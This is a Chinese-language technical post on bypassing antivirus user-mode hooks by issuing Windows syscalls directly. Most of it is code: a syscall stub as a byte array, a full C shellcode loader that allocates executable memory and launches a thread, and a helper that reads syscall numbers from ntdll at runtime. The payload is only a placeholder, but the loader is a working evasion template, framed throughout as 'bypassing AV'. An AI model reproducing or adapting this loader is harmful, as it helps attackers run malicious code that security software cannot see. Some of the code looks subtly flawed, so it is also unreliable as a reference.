使用系统调用SYSCALL规避杀软HOOK
字数 868 2025-08-07 08:22:00
使用SYSCALL系统调用规避杀软HOOK的技术详解
0x01 系统调用号基础
在Windows系统中,用户层API函数最终会调用底层系统函数:
VirtualAllocEx -> VirtualAllocExNuma -> ZwAllocateVirtualMemory
这些底层函数都有一个对应的系统调用号(SYSCALL number),例如在Windows 10中:
ZwAllocateVirtualMemory对应系统调用号0x18NtWriteVirtualMemory对应0x3aNtCreateThreadEx对应0xc6
系统调用执行流程
典型的系统调用汇编代码:
mov r10, rcx ; 保存第一个参数
mov eax, 18 ; 系统调用号存入eax
syscall ; 进入内核层
ret
0x02 直接调用系统调用实现
关键函数系统调用号
| 函数名 | 系统调用号 |
|---|---|
| NtAllocateVirtualMemory | 0x18 |
| NtWriteVirtualMemory | 0x3a |
| NtCreateThreadEx | 0xc6 |
代码实现模板
char syscall_sc[] = {
0x4c, 0x8b, 0xd1, // mov r10, rcx
0xb8, 0xb9, 0x00, 0x00, 0x00, // mov eax, syscall_num
0x0f, 0x05, // syscall
0xc3 // ret
};
完整示例代码
#include <stdio.h>
#include <windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
char syscall_sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0xb9, 0x00, 0x00, 0x00,
0x0f, 0x05,
0xc3
};
typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef DWORD(WINAPI* fnNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpstartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknow
);
int main()
{
SIZE_T SIZE = 0x1000;
LPVOID Address = NULL;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1);
// 分配内存
syscall_sc[4] = 0x18;
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 写入shellcode
WriteProcessMemory(process, Address, buf, sizeof(buf), NULL);
// 创建远程线程
syscall_sc[4] = 0xc6;
fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc;
HANDLE hRemoteThread;
DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process,
(LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0);
}
0x03 动态获取系统调用号
由于不同Windows版本的系统调用号可能不同,需要动态获取:
int GetSysCall(LPCSTR FuncName) {
SIZE_T num;
char sc[5];
// 获取函数地址
LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName);
// 读取函数前5字节
ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num);
// 第5字节是系统调用号
return sc[4];
}
使用示例:
syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");
0x04 技术优势与防御原理
- 绕过用户层Hook:直接调用系统调用,绕过用户层API Hook
- 绕过ntdll.dll Hook:不依赖ntdll.dll中的函数实现
- 仅限64位系统:SYSCALL指令是64位特性
0x05 参考资源
- Windows系统调用号查询:
https://j00ru.vexillium.org/syscalls/nt/64/ - 相关技术文章:
- https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav
- https://idiotc4t.com/defense-/dynamic-get-syscallid
注意事项
- 不同Windows版本的系统调用号可能不同
- 某些函数(如NtWriteVirtualMemory)涉及内存保护,实现更复杂
- 此技术仅适用于64位系统
- 实际使用时需要考虑错误处理和边界条件